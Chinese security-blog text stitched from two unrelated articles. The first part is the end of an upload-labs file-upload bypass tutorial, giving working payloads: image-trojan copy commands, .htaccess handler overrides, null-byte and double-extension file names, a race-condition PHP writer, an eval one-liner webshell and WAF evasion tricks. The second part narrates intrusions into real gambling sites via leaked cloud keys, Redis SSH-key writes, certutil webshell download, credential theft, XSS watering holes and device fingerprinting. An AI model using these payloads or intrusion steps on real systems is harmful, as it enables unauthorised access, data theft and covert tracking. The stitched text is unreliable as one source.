11. JPEG图形 .jpeg,.jpg image/jpeg
**Content-Type（内容类型）：用于定义网络文件的类型和网页的编码，决定浏览器将以什么形式、什么编码读取这个文件**
查看题目给出的源码进行分析，我添加上了一些注释，会的可以忽略，不会的可以参考
$is_upload = false;
$msg = null;
// isset()函数用于检测变量是否已设置并且非NULL
if (isset($_POST[‘submit’])) {
// file_exists() 函数检查文件或目录是否存在
// $UPLOAD_ADDR 为上传到哪个地址
if (file_exists($UPLOAD_ADDR)) {
// 必须满足 upload_file 的类型为’image/jpeg’或’image/png’或’image/gif’
if (($_FILES[‘upload_file’][‘type’] == ‘image/jpeg’) ||
($_FILES[‘upload_file’][‘type’] == ‘image/png’) ||
($_FILES[‘upload_file’][‘type’] == ‘image/gif’)) {
// move_uploaded_file() 函数将上传的文件移动到新位置
if (move_uploaded_file($_FILES[‘upload_file’][‘tmp_name’], $UPLOAD_ADDR . ‘/’
. $_FILES[‘upload_file’][‘name’])) {
$img_path = $UPLOAD_ADDR . $_FILES[‘upload_file’][‘name’];
$is_upload = true;
}
} else {
$msg = ‘文件类型不正确，请重新上传！’;
}
} else {
$msg = $UPLOAD_ADDR.’文件夹不存在,请手工创建！’;
}
}
## 0x04 根据文件头检测文件类型
### 根据文件内容类型
与上一个类似，检查文件的类型，但这个是通过检查文件的内容，根据文件的内容判断文件类型，这里就不能直接burp抓包修改Content-Type了
upload-labs master中有几道关于此类型的题，我们先看 Pass-14（图片马字节）这道
首先看一下题目给出的判断文件类型的源码：
function getReailFileType($filename){
// 为移植性考虑，强烈建议在用 fopen() 打开文件时总是使用 ‘b’ 标记。
$file = fopen($filename, “rb”);
// 只读2字节，fread单位为字节
$bin = fread($file, 2);
fclose($file);
// unpack() 函数从二进制字符串对数据进行解包
// 前面的参数表示在解包数据时所使用的格式
$strInfo = @unpack(“C2chars”, $bin);
// intval() 函数用于获取变量的整数值
$typeCode = intval($strInfo[‘chars1’].$strInfo[‘chars2’]);
$fileType = ”;
switch($typeCode){
case 255216:
$fileType = ‘jpg’;
break;
case 13780:
$fileType = ‘png’;
break;
case 7173:
$fileType = ‘gif’;
break;
default:
$fileType = ‘unknown’;
}
return $fileType;
}
其中最关键的读取代码为
$bin = fread($file, 2); //只读2字节
fclose($file);
根据源码知道只对文件的头2个字节做检测
这里就需要制作木马图片，然后上传即可
copy 1.jpg /b + 1l.php /a 1.jpg
/be为二进制，表示以二进制格式合并1.jpg和1l.php
也可以用winhex、010editor等工具在图片添加上图片的文件头
而Pass-15（图片马getimagesize）这题添加了getimagesize()函数，getimagesize()对目标文件的16进制去进行一个读取，可以伪造假图片，上传同14
Pass-16（图片马php_exif）
$image_type = exif_imagetype($filename);
exif_imagetype()函数是PHP中的内置函数，用于确定图像的类型(读取一个图像的第一个字节并检查其签名。如果发现了恰当的签名则返回一个对应的常量，否则返回
FALSE。)
上传同14
常见的头部对应关系比如（可以多总结一下）
.JPEG;.JPE;.JPG，”JPGGraphic File”
.gif，”GIF 89A”
.zip，”Zip Compressed”
.doc;.xls;.xlt;.ppt;.apr，”MS Compound Document v1 or Lotus Approach APRfile”
## 0x04 检测文件名进行过滤
### 黑名单绕过
黑名单校验就很不安全，很多网站会采用黑名单过滤的方法，但是又很容易就被绕过，例如用一些常见的扩展名就可以轻而易举绕过。
例如Pass-03（黑名单验证）这道题，首先分析源码
$is_upload = false;
$msg = null;
// isset() 用于检测变量是否已设置并且非NULL
// 判断是否存在通过POST方式提交过来的变量
if (isset($_POST[‘submit’])) {
// file_exists() 检查文件或目录是否存在
if (file_exists($UPLOAD_ADDR)) {
$deny_ext = array(‘.asp’,’.aspx’,’.php’,’.jsp’);
// trim() 函数移除字符串两侧的空白字符或其他预定义字符
// 空格、制表符 tab、换行符等等
$file_name = trim($_FILES[‘upload_file’][‘name’]);
// 删除文件名末尾的点
$file_name = deldot($file_name);
// 搜索 “.” 在字符串中的位置并返回从该位置到字符串结尾的所有字符
$file_ext = strrchr($file_name, ‘.’);
// 转换为小写
$file_ext = strtolower($file_ext);
// 去除字符串::$DATA
$file_ext = str_ireplace(‘::$DATA’, ”, $file_ext);
// 收尾去空
$file_ext = trim($file_ext);
该代码是对上传后的文件后缀进行检测，我们可以上传不在黑名单的文件后缀，.php3可以被解析成.php，前提是Apache的httpd.conf中配置有如下代码:
AddType application/x-httpd-php .php .php3 .phtml
常见的可执行文件的后缀：
1. PHP: php2、php3、php5、phtml、pht
2. ASP: aspx、ascx、ashx、cer、asa
3. JSP: jspx
换后缀名上传成功
当然，针对这道题有一种非常巧妙的解题方法，也适用于一些其他道题，仔细分析中间那段代码
上传XXX.php. .
先将文件名最后的点删掉，再通过 strrchr() 函数返回最右边“.”的后面饿字符
strrchr() 函数查找字符串在另一个字符串中最后一次出现的位置，并返回从该位置到字符串结尾的所有字符
这样上传的文件名就为 XXX.php. 因为在存储时会默认删掉这个点，也就可以上传成功
这里有个Tips：Apache的解析顺序是从右到左开始解析文件后缀的，如果最右侧扩展名不可识别，就继续往左判断。直到遇到可以解析的文件后缀为止
利用上面的方法可以解一下这道题：Pass-05
$deny_ext = array(“.php”,”.php5″,”.php4″,…”.htaccess”);
$file_name = trim($_FILES[‘upload_file’][‘name’]);
$file_name = deldot($file_name);//删除文件名末尾的点
$file_ext = strrchr($file_name, ‘.’);
$file_ext = strtolower($file_ext); //转换为小写
$file_ext = str_ireplace(‘::$DATA’, ”, $file_ext);//去除字符串::$DATA
$file_ext = trim($file_ext); //首尾去空
XXX.php. .
相同原理，听说为新加题目，查看几年前笔记确实没有此题
### 大小写绕过
根据Pass-06（大小写过滤）这个题，我们清楚看到是函数并没有对大小写进行检查，即使是列了黑名单，也会因为这个问题而绕过
直接分析源码
// 缩写为减少文章篇幅，实际看 Pass-04
$deny_ext = array(“.php”,”.php5″,”.php4″,…”.htaccess”);
$file_name = trim($_FILES[‘upload_file’][‘name’]);
$file_name = deldot($file_name);//删除文件名末尾的点
$file_ext = strrchr($file_name, ‘.’);
$file_ext = str_ireplace(‘::$DATA’, ”, $file_ext);//去除字符串::$DATA
$file_ext = trim($file_ext); //首尾去空
通过分析 Pass-04 我们一定记着但是当时有一句
$file_ext = strtolower($file_ext); //转换为小写
既然不再转换大小写，那就直接大小写绕过
### 白名单绕过
白名单绕过虽然相比于黑名单更加安全，但是还是会存在其他问题，在upload-labs master中，给出一个%00截断与0x00阶段的题目
Pass-12（%00截断）
$ext_arr = array(‘jpg’,’png’,’gif’);
// substr — 返回字符串的子串
// strrpos – 查找在字符串中最后一次出现的位置
$file_ext =
substr($_FILES[‘upload_file’][‘name’],strrpos($_FILES[‘upload_file’][‘name’],”.”)+1);
if(in_array($file_ext,$ext_arr)){
$temp_file = $_FILES[‘upload_file’][‘tmp_name’];
$img_path = $_GET[‘save_path’].”/”.rand(10, 99).date(“YmdHis”).”.”.$file_ext;
当网站上传XXX.php%00.jpg时，通过白名单绕过，保存文件时，遇到%00字符就会截断后面的.jpg,文件最终保存为XXX.php
Pass-13（0x00截断）
查看源代码发现 此题在上题将GET换为POST，利用Pass-11的方法 ，但在url解码中%00不会被解析，但是我们可以使用0x00进行截断
### 空字符绕过
参考：Pass-07
分析源码
$deny_ext = array(“.php”,”.php5″,”.php4″,…”.htaccess”);
$file_name = $_FILES[‘upload_file’][‘name’];
$file_name = deldot($file_name);//删除文件名末尾的点
$file_ext = strrchr($file_name, ‘.’);
$file_ext = strtolower($file_ext); //转换为小写
$file_ext = str_ireplace(‘::$DATA’, ”, $file_ext);//去除字符串::$DATA
先删掉最后的“.”，再返回“.”后面的字符，之后是大小写处理，直接上传“.php ”（php后面有个空格）即可绕过
### deldot()绕过
参考：Pass-08（deldot()）
分析源码
$deny_ext = array(“.php”,”.php5″,”.php4″,…”.htaccess”);
$file_name = trim($_FILES[‘upload_file’][‘name’]);
$file_ext = strrchr($file_name, ‘.’);
$file_ext = strtolower($file_ext); //转换为小写
$file_ext = str_ireplace(‘::$DATA’, ”, $file_ext);//去除字符串::$DATA
$file_ext = trim($file_ext); //首尾去空
先去空，然后返回“.”后面的字符，之后转换大小写，这里也有一个逻辑错误，直接返回最后一个点之后的消息，那直接后缀名改为“.php.”即可绕过
### 流特性绕过
参考：Pass-09
还是分析源码
$deny_ext = array(“.php”,”.php5″,”.php4″,…”.htaccess”);
$file_name = trim($_FILES[‘upload_file’][‘name’]);
$file_name = deldot($file_name);//删除文件名末尾的点
$file_ext = strrchr($file_name, ‘.’);
$file_ext = strtolower($file_ext); //转换为小写
$file_ext = trim($file_ext); //首尾去空
这次没有这一句
$file_ext = str_ireplace(‘::$DATA’, ”, $file_ext);
//去除字符串::$DATA
这个关于windows下文件的流特性
::$DATA 会把 之后的数据当成文件流处理，不会检测后缀名，保持“::$DATA”之前的文件名
### 双写绕过
参考：Pass-11
$file_name = trim($_FILES[‘upload_file’][‘name’]);
$file_name = str_ireplace($deny_ext,””, $file_name);
$temp_file = $_FILES[‘upload_file’][‘tmp_name’];
$img_path = UPLOAD_PATH.’/’.$file_name;
str_ireplace() 函数替换字符串中的一些字符（不区分大小写）
既然替换一次，可采用双写绕过
XXX.pphphp
注意⚠️：XXX.phphpp这样就是不行的，因为他会去掉从前面来说的第一个php，去掉后会成为XXX.hpp
除这些之外upload labs还有一道Pass-10（过滤）
直接分析源码
$deny_ext = array(“.php”,”.php5″,”.php4″,…”.htaccess”);
$file_name = trim($_FILES[‘upload_file’][‘name’]);
$file_name = deldot($file_name);//删除文件名末尾的点
$file_ext = strrchr($file_name, ‘.’);
$file_ext = strtolower($file_ext); //转换为小写
$file_ext = str_ireplace(‘::$DATA’, ”, $file_ext);//去除字符串::$DATA
$file_ext = trim($file_ext); //首尾去空
采用抓包添加后缀 .php. .
## 0x05 检测文件内容进行过滤
例如 Pass-04这道题，这道题除了可以采用 Pass-03 中的一种读源码的方法，更主要的是学习使用 .htaccess文件
分析源码，是在基础上添加了更多的后缀过滤
$file_name = trim($_FILES[‘upload_file’][‘name’]);
$file_name = deldot($file_name);//删除文件名末尾的点
$file_ext = strrchr($file_name, ‘.’);
$file_ext = strtolower($file_ext); //转换为小写
$file_ext = str_ireplace(‘::$DATA’, ”, $file_ext);//去除字符串::$DATA
$file_ext = trim($file_ext); //收尾去空
htaccess文件能够更改服务器的设置，全称为Hypertext
Access，称为超文本入口，提供了针对目录改变配置的方法，可在一个特定的文档目录中放置一个包含一个或多个指令的文件。
如果想详看可以参考或自行搜索：<https://www.cnblogs.com/adforce/archive/2012/11/23/2784664.html>
对于这道题，我们可以上传一个.htaccess 文件重写服务器的文件解析
开启htaccess的方法：
打开apache的httpd.conf设置文件
查找到的AllowOverride None，将其改为AllowOverride All
创建一个.htaccess文件
内容写成：
AddType application/x-httpd-php .jpg,可将jpg文件解析为php文件
SetHandler application/x-httpd-php,可将其他所有文件解析为php文件
之后上传文件就可以了
### 二次渲染绕过
二次渲染指的是提取了文件中的图片数据，然后再对图片重新渲染，这样加在其中的恶意代码就不见了
例如Pass-17（二次渲染绕过）这个题
采用的二次渲染技术，就是根据用户上传的图片，新生成一个图片，将原始图片删除，将新图片添加到数据库中。
关于这道题，lmn写多少都不如这篇文章详细，所以干脆不写了，可以参考参考
<https://xz.aliyun.com/t/2657#toc-13>
处这两个以外也可以学习一下文件包含漏洞，例如，如果网站对jsp，php等文件内容进行校验，可以通过上传（无限制）的文件例如.txt文件，并通过例如php语句进行文件包含，从而达到目的
常见的文件包含例如：
1. include()
2. require()
3. include_once()
4. require_once()
include()，只生成警告（E_WARNING），并且脚本会继续
require()，会生成致命错误（E_COMPILE_ERROR）并停止脚本
include_once()与require_once()，如果文件已包含，则不会包含，其他特性如上
### upload其他优秀题目
Pass-18 19（条件竞争）
竞争条件：多个线程或者进程在读写一个共享数据时结果依赖于它们执行的相对时间的情形
先将文件上传到服务器，然后判断文件后缀是否在白名单里，如果在则重命名，否则删除
这里的原理就是上传info.php，边上传边访问，保证在上传之前访问到，利用burp的intruder模块不断上传
这里需要借助一段代码
<?php fputs(fopen(‘info.php’,’w’),'<?php phpinfo();?>’);?>
因为在没有文件时，w写参数会自动创建文件，并将后面的字放到前面的文件中，所以用burp的intruder连续访问，因为是多个进程或者线程在读写数据，其最终的的结果依赖于多个进程的指令执行顺序，也就是可能在被删除前访问到文件
Pass-20（/.绕过）
查看源码
save_name为页面上我们提交的文件名，因此抓包修改为upload-19.php/.
upload-19是因为上传处默认文件名就是这个
## 06 文件上传的危害
文件上传漏洞很容易带来严重的安全问题，可以利用文件上传漏洞上传Webshell
webshell，web指的是在web服务器上，shell是用脚本语言编写的脚本程序，通常黑会自己编写webshell，并上传到目标web服务器的页面的目录下，然后通过目标系统进行入侵
根据不同的分类可以分为很多类，比如根据功能可以分为大马和小马，小马通常指一句话木马，例如将<%eval
request(“pass”)%>这句话写入一个后缀为.asp的文件中，然后传到服务器上面。eval方法将request(“pass”)转换成代码执行，request函数的作用是应用外部文件。
根据脚本的类型可以分为jsp、asp、aspx、php等
现在对于不同的web服务器系统对应的有不同的web服务端程序，windows端主流的有iis，linux端主流的有Nginx。这些服务对服务器会带来一些隐患，这些服务器上都存在一些漏洞，很容易被黑客利用
利用上面提到的文件上传绕过方法，可以将恶意文件传入服务器中
### 文件上传绕waf
通过绕过waf达到防止恶意文件被拦截的效果，这里给出几种大家屡试不爽的方法
1. 有时候可以通过之前给出的替换不常见的但可达到相同解析效果的文件名
2. 制造一些“垃圾数据”，可以降低waf的检测
3. 例如早期的安全狗就可以通过多加几个filename绕过
4. （看到有人说有些waf会检测是否为POST，如果为POST则会校验数据包内容，这里更改POST为GET）
5. 删除Conten-Type字段
6. 删除Content-Disposition字段里的空格
7. 修改Content-Disposition字段值的大小写
8. （文件名处回车）
参考文章：
[https://blog.csdn.net/skynet_x/article/details/109285482?utm_medium=distribute.pc_aggpage_search_result.none-task-blog-2~aggregatepage~first_rank_ecpm_v1~rank_v31_ecpm-10-109285482.pc_agg_new_rank&utm_term=upload-labs-master&spm=1000.2123.3001.4430](https://blog.csdn.net/skynet_x/article/details/109285482?utm_medium=distribute.pc_aggpage_search_result.none-task-blog-2~aggregatepage~first_rank_ecpm_v1~rank_v31_ecpm-10-109285482.pc_agg_new_rank&utm_term=upload-labs-master&spm=1000.2123.3001.4430)
[https://blog.csdn.net/qq_42357070/article/details/82881393?ops_request_misc=%257B%2522request%255Fid%2522%253A%2522164543284216780255288719%2522%252C%2522scm%2522%253A%252220140713.130102334..%2522%257D&request_id=164543284216780255288719&biz_id=0&utm_medium=distribute.pc_search_result.none-task-blog-2~all~top_positive~default-1-82881393.pc_search_insert_ulrmf&utm_term=webshell&spm=1018.2226.3001.4187](https://blog.csdn.net/qq_42357070/article/details/82881393?ops_request_misc=%257B%2522request%255Fid%2522%253A%2522164543284216780255288719%2522%252C%2522scm%2522%253A%252220140713.130102334..%2522%257D&request_id=164543284216780255288719&biz_id=0&utm_medium=distribute.pc_search_result.none-task-blog-2~all~top_positive~default-1-82881393.pc_search_insert_ulrmf&utm_term=webshell&spm=1018.2226.3001.4187)
<https://blog.csdn.net/qq_42181428/article/details/87090539> | 社区文章 |
# 新型网络犯罪攻防技术研究
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
作者：风起
## 前言
大家好，我是风起。本次带来的是对于新型网络犯罪的渗透研究，区别于常规的渗透测试任务，针对该类站点主要核心不在于找出尽可能多的安全隐患，更多的聚焦于
**数据** 这个概念。值得注意的是，这里的数据更多时候指的是： **代理身份** 、 **后台管理员身份** 、 **受害人信息** 、 **后台数据**
、 **消费凭证** 等信息。总的来说，一切的数据提取都是为了更好的落实团伙人员的身份信息。
所以无论是获取权限后的水坑钓鱼还是拿到数据库权限后提取信息亦或者提取镜像数据的操作都是在这个基础之上的。本文将以深入浅出的方式对渗透该类犯罪站点时的一些注意事项作出讲解，希望能够对注焦于此的安全人员有所帮助。
**本文仅作安全研究，切勿违法乱纪** 。
## 攻击初识
以下即为一个常见的博彩类站点，首先我们可以对该类站点的功能进行盘点。
首先从在线客服这里来讲，一般来讲博彩诈骗类站点都使用 **美洽客服系统**
较多，也因为其安全、部署便捷的缘故而被广大该类站点开发者所使用。目前来讲，针对该客服系统感觉并没有什么漏洞，所以通常使用钓鱼的方式来突破客服口，而常常对于有一定规模的团伙，他们的
**客服跟财务**
通常是同一业务团队，所以在以往的渗透中发现，在其客服机上常常存在大量的受害人信息及下级代理信息，这里大家可以重点注意一下，以钓鱼的方式突破客服口往往有意想不到的收获，毕竟无论在哪里
**人永远是最大的漏洞** 。
对该类站点渗透经验丰富的师傅，可以通过客服样式直接判断，当然也可以通过前端代码匹配关键字进行更为精准的判断目标客服系统。
往往该类博彩站点都是以移动端APP作为主要方式使用，所以在快速渗透的过程中我们可以优先反编译审计一下目标APP中是否存在一些敏感信息，例如提取URL拓宽战线、获取AK/SK控制云服务器。往往在提取APP中敏感信息会有意外之喜，下图为一次渗透目标中提取到的一些敏感信息。
网上有不少敏感信息自动提取的工具，这里我用的比较多的是 **ApkAnalyser**
，当然GA部门也有专门的设备用于提取，工作性质不同所能利用的资源也不尽相同。
对于一些代码能力较强的师傅，也可以直接通过反编译APK包审计代码，寻找敏感信息，当然这里建立在APP没有加壳等防护手段的基础上。
通常，对于需要重点注意的关键词如： **Password** 、 **id** 、 **accessKeyId** 、 **Username** 、
**accessKeySecret** 、 **mysql** 、 **redis** 等等，这里根据攻击者对于 **敏感性** 概念的认知做提取操作。
如上图，为一次渗透目标中，通过APP反编译得知目标AK/SK凭证，并且得知OSS服务为aliyun厂商，地域香港。于是直接获取到OSS服务权限，并且通过阿里云API命令执行上线C2。当然，OSS对象存储也是我们需要注意的一个点，通常为了方便起见，会将受害人的信息上传到OSS服务。
具体通过AK/SK对阿里云服务器进行命令操作的方式不再赘述，感兴趣的小伙伴可以自行查看下面链接使用。
Aliyun API:
[https://api.aliyun.com/#/?product=Ecs&version=2014-05-26&api=RunCommand&tab=DEMO&lang=JAVA](https://api.aliyun.com/#/?product=Ecs&version=2014-05-26&api=RunCommand&tab=DEMO&lang=JAVA)
## 记一次有趣的渗透过程
整个攻击过程大概如上图，简单的画了一下思维导图。
该案例也是较大规模一个博彩目标，通过前期的信息收集及渗透工作，对博彩站点的主站并没有拿下什么成果，但是在对客服系统的测试中，通过与其客服人员交流得知该博彩平台玩家均使用内部自研的聊天工具沟通（也是为了躲避GA部门的取证方式）。于是我们将战线转至该聊天系统，在聊天系统下载页发现目标使用了Apche
Shiro框架，于是很顺利的打了一波顺利拿下权限，但是该主机为tomcatuser权限较低，且发现没有其他的服务，仅提供下载作用，总之并没有特别的收获，于是继续拓宽战线。
这里根据对目标页面的Title作为特征，快速提取了52条结果，并且经过存活性验证及渗透，共拿下20余台主机权限，当然有一个很有趣的小Tips，就是这些站点并不是一成不变的，有的页面在默认页不存在Shiro，但是访问特定的登录页面下就出现Shiro框架了，这也跟shiro配置路由原因有关。
在拿下的多台服务器后，打扫战场成果的时候，我们发现有几台服务器的权限为root。使用fscan对内网快速扫描了一下，发现内网IP中开放了不少mysql，redis，oracle等服务。该内网中使用大量的反向代理，有不少公网IP在拿下权限后指向的却是相同的内网服务器。其中，居然还部署了JumpServer堡垒机，不得不说，这个目标确实有点东西，通常堡垒机也是为了集中管理服务器准备的。但是很遗憾，通过之前爆出的JumpServer
RCE漏洞并没有利用成功。
继续对这些服务器上配置文件的审计，我们找到了通往Mysql/redis数据库的密码。
这里通过密码复用，对内网中使用redis数据库的主机进行写入SSH
KEY的方式获取权限，且均为root权限。继续使用获取到的mysql密码，顺利登录多台内网数据库，因为我是用冰蝎管理webshell权限的，所以使用的是它的数据库管理功能测试连通性的。这里我们需要把端口代理出去，其实这里没有什么难度，因为其内部防火墙规则对于一些端口进行了限制，所以我们仅能通过80等端口入网。这里我使用的是Neo-Regeorg正向代理的HTTP流量。但是速度有些慢，后面使用NPS监听端口为80同样可以。
通过对数据库中进行取证，发现了主站客服系统、后台管理系统的登录密码，这里包括了该组织运营的其他博彩站点后台管理，这也算是意外之喜了。
而在线上取证基本完成的时候，本着仔细的态度，我又一次对拿下的权限进行盘点。惊喜的发现有一台主机为Windows
Server主机，但是却无法写入内存马。这时通过certutil远程下载了github上的Webshell获取到了权限。
通过对该服务器的分析审计后，我们不难看出，这是该团伙技术人员的运维机，上面存放了大量的服务器相关数据，利用上面的信息咱们又可以深层次的收割服务，提权。利用上面的SecureCRT管理的主机，读取了一波SecureCRT管理的密码，成功获取到博彩站点主站权限，至此全线渗透完毕。
之所以能拿下这台运维机，无疑有运气的成分，如果他们的技术人员不部署有相同存在漏洞的下载页服务，也不会发现该隐蔽的运维主机。
至于真实的渗透，更多的讲究对于攻击的理解，以及知识面灵活的组合利用。实际攻击中确实没有上面讲的那么一帆风顺。这里笔者大体将整个渗透过程基本的还原了一下，有些其他的支线渗透细节没有提到，主要还是围绕最终拿到主站权限讲解的，并且将中间踩过的坑省略掉了，尽量让读者读起来舒服一点。
记得当时搞到凌晨1点多，拍照纪念一下~
## 快速关联目标
相信多数工作业务目标为博彩站点的小伙伴，都会被这样的一个问题困惑，那就是如何关联相同组织团伙的站点问题。是的，绝大多数情况下，由于博彩类团伙的服务器站点有着
**目标多** 、 **关联难** 、 **时效低**
等特点。常常我们在研判分析的时候，线索会被牵得到处跑。往往信息收集到的站点在几天之内就失效，转移服务器了。针对这样的问题，其实也有更高效的目标资产关联方式，在此之前我们引入以下概念。
**行为**
：不同的群体，可能表现出基本的独有的特征，当我们能掌握到这个特征，那么我们就能尽可能识别出这个群体里的所有个体，而这些所谓的行为特征在网络空间测绘里表现出的是这个设备各个端口协议里的banner特征。
这里，我们使用 **Kunyu（坤舆）**
利用目标证书序列号作为行为特征关联匹配，可以看到匹配到6条IP结果，得知该6台服务器均使用了HTTPS协议，使用了Apache以及Nginx中间件，服务器厂商使用了
**simcentric** 的服务器（ **新天域互联（ _Simcentric_
），是香港知名的大型互联网基础服务商和idc服务商**），网站Title标题，以及更新时间（更新时间有助于快速确认目标服务最近的有效存活时间）。
**P.S.本文编写日期为2021/10/13 ，所以可以看到目标服务最近的有效存活时间距离为近三天。**
根据上面获得的信息，作进一步关联结果如下图。
这里进一步的对某台服务器的开放服务进行深一步盘点，从而为后面渗透做准备，往往对于这类站点，节俭的诈骗团伙会在一台服务器上部署多个站点，所以常常通过旁站获取服务器权限的案例屡试不爽。有时候渗透这类诈骗站点难度并不高，往往就是比拼的就是信息收集的全面性。当然对于财大气粗的博彩团伙，可能就是另一套体系方式了，这块知识点下面会讲到，我们继续来看。
**这里我们最常提取的特征像favicon图标hash码，HTTPS证书序列号，前端代码段，服务连接banner等。**
所以这里我们提取目标前端JS代码，这也是最为准确的方式，通过不同个体对于规则概念的理解，所编写指纹的匹配关联度、精准度都不同。
这里我们提取 `url: '/addons/active/xxxxx/saveuser.html'` 作为指纹匹配
发现共匹配到116条结果，可以得知大部分为微软云以及Cloud Innovation
Limited(香港)的服务器，并且多数在国内，这里Kunyu默认显示前20条结果。
验证一下准确性，通过https访问该IP地址发现其前端页面代码中也存在同样的代码片段，并且其他部分与其完全一致，至此可以判断该站与最初的站点为同一模块。
当然也支持多因素查找，这里截取了两段前端代码，发现匹配结果为108条，多条件匹配下的精准度会更高！这里不仅可以是前端代码之间组合，也可以使用banner信息，端口信息，ISP等信息组合，根据大家对该组织特征的认知编写指纹即可，都可以有效的关联起涉案站点。
**总之，对于数据的认知很重要** 。
除了上面所述的方式关联，也可以通过网站上的favicon图标来作关联，这里以一个伪造政府网站的案例列举，他使用了国徽样式的图标作为网站favicon图标，但是因为该图标经过它们的修改，所以具有了唯一性，可以通过favicon图标精准的关联起全网所有使用该伪造图标的站点，共93条结果。
favicon图标样式如上，从更新时间也不难看出，该团伙人员从较早就已经开始做这块业务。并且服务器多数在国内，IDC不是主流大厂的云服务器（较难提取服务器镜像），中间件服务相同，说明国内应该有软件开发公司为其批量维护服务器。可以看到部分服务器还有使用HTTPS协议，那么我们可以使用上面提到的使用证书匹配进行深度关联信息。
**至此对该团伙伪造政府网站的相关服务器站点一网打尽。**
使用Kunyu匹配到的数据，会自动保存为Excel格式，方便后期整理情报时使用。
上面利用 **Kunyu（坤舆）**
对研判分析涉案站点时，解决了关联站点难的技术疼点，使信息收集工作更加高效，希望能够对大家日常的研判分析工作有所帮助。
对于涉案站点数据的思考，其实更多的时候，我们想要梳理的是 **组织架构** ， **人员关系**
，这才是核心问题。我始终认为，数据就在那里，他蕴含了很多的信息，至于我们能从不同的数据中得到什么信息，也取决于研判分析人员对于数据的认知，溯源的过程也就是对数据整合的过程，往往情报不是摆在那里的，而是经过缜密的分析以及情报关系之间的相互印证得到的，这也是考研溯源人员能力的关键所在。
同样对于GA部门，网络空间测绘技术的运用也可以应用于关联某一团伙的服务器信息，进行封禁处理，总的来说，对于Kunyu应用在反诈工作的方面，我认为是很妥当的。在以往的渗透及研判分析过程中，通过Kunyu获取隐蔽资产拿下权限的情况非常多。也可以一目了然对测绘数据的信息进行盘点。
**我们应赋予数据以灵魂，而不仅仅只是认识数据，能用它做什么事儿，达到什么效果，取决于解决方案的认知高低。**
**——风起**
**Kunyu Donwload:**
[Kunyu（坤舆）更高效的企业资产收集](https://github.com/knownsec/Kunyu/)
## 指纹概念的思考
在获取服务器权限后，我们常常会通过水坑攻击的方式获取后台管理员尽可能多的信息，这里我在日常的工作中最常使用的方式就是在管理员后台登录成功的位置插入一段XSS代码，当然这里也可以是类似于jsonp劫持的代码段，主要是用以获取管理员的个人信息。这里以其服务器代码中插入钓鱼代码也是因为一个
**信任度**
的问题，试想一下对于一个不太懂安全的运维人员来讲，如果你发给他一个文件叫他点开，那么正常人一般是有所警惕，但是在其自己的网站弹出的窗口，那么就大概率会去向上信任。这也是水坑钓鱼的核心思想所在。
所以，我也一直认为，社工的过程也是对 **人**
这个因素的考量，之所以讲人才是最大的安全漏洞，也正因为这是我们不可预测的因素，我们无法判断一个人的思想，但是我们可以换位思考，带入角色去思考问题才是最佳的方式。也正是这种不可预测性，使我们在渗透中有了更多的可能性。而面对博彩类站点进行水坑攻击，我们最在意的信息无非就是：
**设备信息** 、 **位置信息** 、 **社交平台ID信息** 、 **登录IP** 、 **登录频率** 、 **登录时间** 等。
本段将从风起对 **水坑钓鱼** 过程中，对于指纹概念的思考进行讲解，希望能引起读者的一点共鸣。
这种以XSS获取登录信息的方式无疑是最简单部署、高效的方式了，但是大家一定发现了。这种方法有着很致命的缺点就是得到的IP地址、设备信息，有着
**数量多** 、 **杂乱** 、 **不稳定**
的特点。试想一下，浏览器指纹信息，如果一台设备他在多个地方使用，且浏览器是交替使用的。那么我们就无可考证是否是同一台设备，仅能判断出移动设备的型号，而多数团伙的移动设备都是同一购买相同型号的老式手机，也具有一定的躲避追查的效果。至于电脑端的使用就无可考证了，仅能判断出操作系统信息。所以下面我们引入
**高级指纹** 的概念。
这里我们首先感谢一下 ruyueattention（ **狗安超** ）的技术支持，风起的头号铁杆小弟嘻嘻，感谢他 🙂
**示例 Demo 页面**
回显给用户的结果给如上，具体布局分为 **WebGl 3D图像部分** 、 **Canvas图像部分** 、 **GPU渲染部分** 、
**基础指纹部分** 、 **综合指纹部分** 。用户可对数据进行各个部分的分析处理。
跨浏览器指纹识别采集的信息要求是不同设备中是存在差异化的，并且不能被用户随意的修改。因此这里不能像单浏览器一样选择用户代理等不同浏览器是特异性的数据。同时为了保证准确度和唯一性，我们这里选取的要求如下：
**1、差异化**
**2、用户无法篡改**
**3、设备稳定性**
基于此，这里可供选择的指纹只剩下了硬件指纹和部分基础指纹，这里硬件指纹作为主导以保证指纹唯一性，而基础指纹只能作为辅助以便提高准确度。
分析搭建在公网上的系统测试结果，通过对数据库中的数据进行比对分析。理想情况下是存在50种设备指纹，100种浏览器的指纹。而系统一共收集了48个样本(设备)的指纹，100个浏览器的指纹。其中浏览器指纹始终没有出现冲突，而对于跨浏览器指纹（设备）指纹则有出现冲突的情况。但并未出现同IP下，不同设备指纹的情况。即50个设备中的100个浏览器中生成的指纹均是独立不重复的。
通过上图可以看到，在相同IP下，使用不同的浏览器访问Demo测试界面，其UA指纹是不同的，但是其设备指纹却是唯一的，也就是说，哪怕同一目标使用了不同的浏览器，在不同的地理位置登录，我们都能掌握到该设备的唯一指纹。这里的computer指纹是由设备多个硬件的指纹组合计算而来。相同型号的不同设备设备之间也会存在差异性，这样我们掌握到这个唯一的指纹，就可以将嫌疑人的设备数量给统计出来。
某种意义来讲，我们发现该设备例如在潍坊登录，另一条记录在云南登录，尽管其他的 **浏览器指纹** ， **系统指纹**
不同，但是根据该设备指纹，我们也可以推断出为同一台设备，对不同时间的登录信息统计后，从而掌握到该团伙后台管理员的行踪轨迹，也解决了某些严密组织的团伙并不通过公共交通出行，导致根据飞机高铁记录无法追溯到嫌疑人的难题。
总的来说，在整个溯源体系中，指纹都是很重要的一个概念，例如目前的蜜罐系统抓取到访问设备的社交账号ID从而溯源到人员信息，也是利用了指纹的唯一性，将用户ID作为指纹来看从而实现定位到个人身份的效果。那么大家试想一下，同样的，犯罪团伙的人员也会去看一些视频平台，当用户数据涉及国内的时候，就不是那么难以取证了。
**对于高级指纹取证展示Demo已经完成，当然最后上线到实战环境进行取证还有一段时间，主要是我懒哈哈哈，等有时间了一定完成这个项目，毕竟老板们对Kunyu的需求还没写完呢，哈哈哈哈。**
## 唧唧歪歪
**本段为风起对反诈工作一点思考，也算是对于之前积累的经验的一点回顾吧。**
